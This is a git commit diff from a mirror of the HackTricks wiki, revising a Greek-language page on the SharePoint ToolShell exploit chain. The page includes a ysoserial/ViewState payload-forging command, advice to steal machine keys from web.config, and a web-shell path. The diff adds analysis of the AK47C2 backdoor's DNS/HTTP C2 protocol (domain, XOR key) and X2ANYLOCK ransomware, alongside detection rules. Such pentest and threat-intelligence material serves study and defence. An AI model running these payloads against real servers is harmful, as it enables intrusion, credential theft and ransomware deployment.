mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/pentesting-web/microsoft-sh
This commit is contained in:
parent
c62022b622
commit
5b4d3d5799
@ -29,13 +29,13 @@ python3 Office365-ADFSBrute/SharePointURLBrute.py -u https://<host>
|
||||
|
||||
### 2.2 CVE-2025-49706 – Improper Authentication Bypass
|
||||
|
||||
Η ίδια σελίδα εμπιστεύεται την κεφαλίδα **X-Forms_BaseUrl** για να προσδιορίσει το πλαίσιο του ιστότοπου. Δείχνοντάς την σε `/_layouts/15/`, η MFA/SSO που επιβάλλεται στον ριζικό ιστότοπο μπορεί να παρακαμφθεί **χωρίς αυθεντικοποίηση**.
|
||||
Η ίδια σελίδα εμπιστεύεται την **X-Forms_BaseUrl** κεφαλίδα για να προσδιορίσει το πλαίσιο του ιστότοπου. Δείχνοντάς την σε `/_layouts/15/`, η MFA/SSO που επιβάλλεται στον ριζικό ιστότοπο μπορεί να παρακαμφθεί **χωρίς αυθεντικοποίηση**.
|
||||
|
||||
### 2.3 CVE-2025-53770 – Unauthenticated ViewState Deserialization → RCE
|
||||
|
||||
Μόλις ο επιτιθέμενος ελέγξει μια συσκευή στο `ToolPane.aspx`, μπορεί να δημοσιεύσει μια **μη υπογεγραμμένη** (ή μόνο MAC) τιμή `__VIEWSTATE` που ενεργοποιεί την αποσυμπίεση .NET μέσα στο *w3wp.exe*, οδηγώντας σε εκτέλεση κώδικα.
|
||||
|
||||
Εάν η υπογραφή είναι ενεργοποιημένη, κλέψτε το **ValidationKey/DecryptionKey** από οποιοδήποτε `web.config` (βλ. 2.4) και πλαστογραφήστε το payload με *ysoserial.net* ή *ysodom*:
|
||||
Αν η υπογραφή είναι ενεργοποιημένη, κλέψτε το **ValidationKey/DecryptionKey** από οποιοδήποτε `web.config` (βλ. 2.4) και πλαστογραφήστε το payload με *ysoserial.net* ή *ysodom*:
|
||||
```
|
||||
ysoserial.exe -g TypeConfuseDelegate -f Json.Net -o raw -c "cmd /c whoami" |
|
||||
ViewStateGenerator.exe --validation-key <hex> --decryption-key <hex> -o payload.txt
|
||||
@ -75,11 +75,11 @@ Response.Write(MachineKey.ValidationKey);
|
||||
}
|
||||
</script>
|
||||
```
|
||||
Γραμμένο προς:
|
||||
Γραμμένο σε:
|
||||
```
|
||||
C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\spinstall0.aspx
|
||||
```
|
||||
Η shell εκθέτει endpoints για **ανάγνωση / περιστροφή μηχανικών κλειδιών** που επιτρέπει την κατασκευή των cookies ViewState και ASPXAUTH σε όλη τη φάρμα.
|
||||
Η shell εκθέτει endpoints για **ανάγνωση / περιστροφή κλειδιών μηχανής** που επιτρέπει την κατασκευή cookies ViewState και ASPXAUTH σε όλη τη φάρμα.
|
||||
|
||||
### 3.3 Ασαφής παραλλαγή (παραλλαγή-3)
|
||||
|
||||
@ -88,16 +88,67 @@ C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE
|
||||
* τα ονόματα μεταβλητών μειωμένα σε μονά γράμματα
|
||||
* προστέθηκε `Thread.Sleep(<ms>)` για αποφυγή sandbox & παράκαμψη AV με βάση το χρόνο.
|
||||
|
||||
### 3.4 AK47C2 multi-protocol backdoor & X2ANYLOCK ransomware (παρατηρήθηκε 2025-2026)
|
||||
|
||||
Πρόσφατες έρευνες αντίκτυπου περιστατικών (Unit42 “Project AK47”) δείχνουν πώς οι επιτιθέμενοι εκμεταλλεύονται την αλυσίδα ToolShell **μετά την αρχική RCE** για να αναπτύξουν ένα εμφύτευμα C2 διπλού καναλιού και ransomware σε περιβάλλοντα SharePoint:
|
||||
|
||||
#### AK47C2 – παραλλαγή `dnsclient`
|
||||
|
||||
* Στατικός DNS server: `10.7.66.10` που επικοινωνεί με τον εξουσιοδοτημένο τομέα `update.updatemicfosoft.com`.
|
||||
* Τα μηνύματα είναι JSON αντικείμενα XOR-κρυπτογραφημένα με το στατικό κλειδί `VHBD@H`, κωδικοποιημένα σε hex και ενσωματωμένα ως **ετικέτες υποτομέα**.
|
||||
|
||||
```json
|
||||
{"cmd":"<COMMAND>","cmd_id":"<ID>"}
|
||||
```
|
||||
|
||||
* Μακρές ερωτήσεις χωρίζονται σε κομμάτια και προσαρτώνται με `s`, στη συνέχεια επανασυντίθενται από την πλευρά του διακομιστή.
|
||||
* Ο διακομιστής απαντά σε TXT records που φέρουν το ίδιο XOR/hex σχήμα:
|
||||
|
||||
```json
|
||||
{"cmd":"<COMMAND>","cmd_id":"<ID>","type":"result","fqdn":"<HOST>","result":"<OUTPUT>"}
|
||||
```
|
||||
* Η έκδοση 202504 εισήγαγε μια απλοποιημένη μορφή `<COMMAND>::<SESSION_KEY>` και δείκτες κομματιών `1`, `2`, `a`.
|
||||
|
||||
#### AK47C2 – παραλλαγή `httpclient`
|
||||
|
||||
* Επαναχρησιμοποιεί την ακριβή JSON & XOR ρουτίνα αλλά στέλνει το hex blob στο **HTTP POST body** μέσω `libcurl` (`CURLOPT_POSTFIELDS`, κ.λπ.).
|
||||
* Η ίδια ροή εργασίας καθήκοντος/αποτελέσματος επιτρέπει:
|
||||
* Εκτέλεση αυθαίρετης εντολής shell.
|
||||
* Δυναμικό διάστημα ύπνου και οδηγίες kill-switch.
|
||||
|
||||
#### X2ANYLOCK ransomware
|
||||
|
||||
* Payload 64-bit C++ φορτωμένο μέσω DLL side-loading (βλ. παρακάτω).
|
||||
* Χρησιμοποιεί AES-CBC για δεδομένα αρχείων + RSA-2048 για να τυλίξει το κλειδί AES, στη συνέχεια προσθέτει την επέκταση `.x2anylock`.
|
||||
* Κρυπτογραφεί αναδρομικά τοπικούς δίσκους και ανακαλυφθέντα SMB shares; παραλείπει συστήματα διαδρομών.
|
||||
* Ρίχνει σημείωμα σε καθαρό κείμενο `How to decrypt my data.txt` ενσωματώνοντας μια στατική **Tox ID** για διαπραγματεύσεις.
|
||||
* Περιέχει έναν εσωτερικό **kill-switch**:
|
||||
|
||||
```c
|
||||
if (file_mod_time >= "2026-06-06") exit(0);
|
||||
```
|
||||
|
||||
#### DLL side-loading αλυσίδα
|
||||
|
||||
1. Ο επιτιθέμενος γράφει `dllhijacked.dll`/`My7zdllhijacked.dll` δίπλα σε ένα νόμιμο `7z.exe`.
|
||||
2. Το `w3wp.exe` που δημιουργείται από το SharePoint εκκινεί το `7z.exe`, το οποίο φορτώνει την κακόβουλη DLL λόγω της σειράς αναζήτησης των Windows, καλώντας το σημείο εισόδου του ransomware στη μνήμη.
|
||||
3. Ένας ξεχωριστός φορτωτής LockBit παρατηρήθηκε (`bbb.msi` ➜ `clink_x86.exe` ➜ `clink_dll_x86.dll`) αποκρυπτογραφεί τον κώδικα shell και εκτελεί **DLL hollowing** στο `d3dl1.dll` για να τρέξει το LockBit 3.0.
|
||||
|
||||
> [!INFO]
|
||||
> Η ίδια στατική Tox ID που βρέθηκε στο X2ANYLOCK εμφανίζεται σε διαρροές βάσεων δεδομένων LockBit, υποδεικνύοντας επικαλύψεις συνεργατών.
|
||||
|
||||
---
|
||||
|
||||
## 4. Ιδέες ανίχνευσης
|
||||
|
||||
| Τηλεμετρία | Γιατί είναι ύποπτη |
|
||||
|-----------|----------------------|
|
||||
| `w3wp.exe → cmd.exe` | Η διαδικασία εργασίας θα πρέπει σπάνια να δημιουργεί shell |
|
||||
| `cmd.exe → powershell.exe -EncodedCommand` | Κλασικό μοτίβο lolbin |
|
||||
| Γεγονότα αρχείων που δημιουργούν `debug_dev.js` ή `spinstall0.aspx` | IOCs απευθείας από ToolShell |
|
||||
| Γεγονότα αρχείου που δημιουργούν `debug_dev.js` ή `spinstall0.aspx` | IOCs απευθείας από ToolShell |
|
||||
| `ProcessCmdLine CONTAINS ToolPane.aspx` (ETW/Module logs) | Δημόσιες PoCs καλούν αυτή τη σελίδα |
|
||||
|
||||
Παράδειγμα κανόνα XDR / Sysmon (ψευδο-XQL):
|
||||
Παράδειγμα κανόνα XDR / Sysmon (pseudo-XQL):
|
||||
```
|
||||
proc where parent_process_name="w3wp.exe" and process_name in ("cmd.exe","powershell.exe")
|
||||
```
|
||||
@ -111,7 +162,7 @@ proc where parent_process_name="w3wp.exe" and process_name in ("cmd.exe","powers
|
||||
|
||||
## Σχετικά κόλπα
|
||||
|
||||
* IIS post-exploitation & web.config abuse:
|
||||
* IIS post-exploitation & κακή χρήση web.config:
|
||||
{{#ref}}
|
||||
../../network-services-pentesting/pentesting-web/iis-internet-information-services.md
|
||||
{{#endref}}
|
||||
@ -121,6 +172,7 @@ proc where parent_process_name="w3wp.exe" and process_name in ("cmd.exe","powers
|
||||
- [Unit42 – Active Exploitation of Microsoft SharePoint Vulnerabilities](https://unit42.paloaltonetworks.com/microsoft-sharepoint-cve-2025-49704-cve-2025-49706-cve-2025-53770/)
|
||||
- [GitHub PoC – ToolShell exploit chain](https://github.com/real-or-not/ToolShell)
|
||||
- [Microsoft Security Advisory – CVE-2025-49704 / 49706](https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2025-49704)
|
||||
- [Unit42 – Project AK47 / SharePoint Exploitation & Ransomware Activity](https://unit42.paloaltonetworks.com/ak47-activity-linked-to-sharepoint-vulnerabilities/)
|
||||
- [Microsoft Security Advisory – CVE-2025-53770 / 53771](https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2025-53770)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user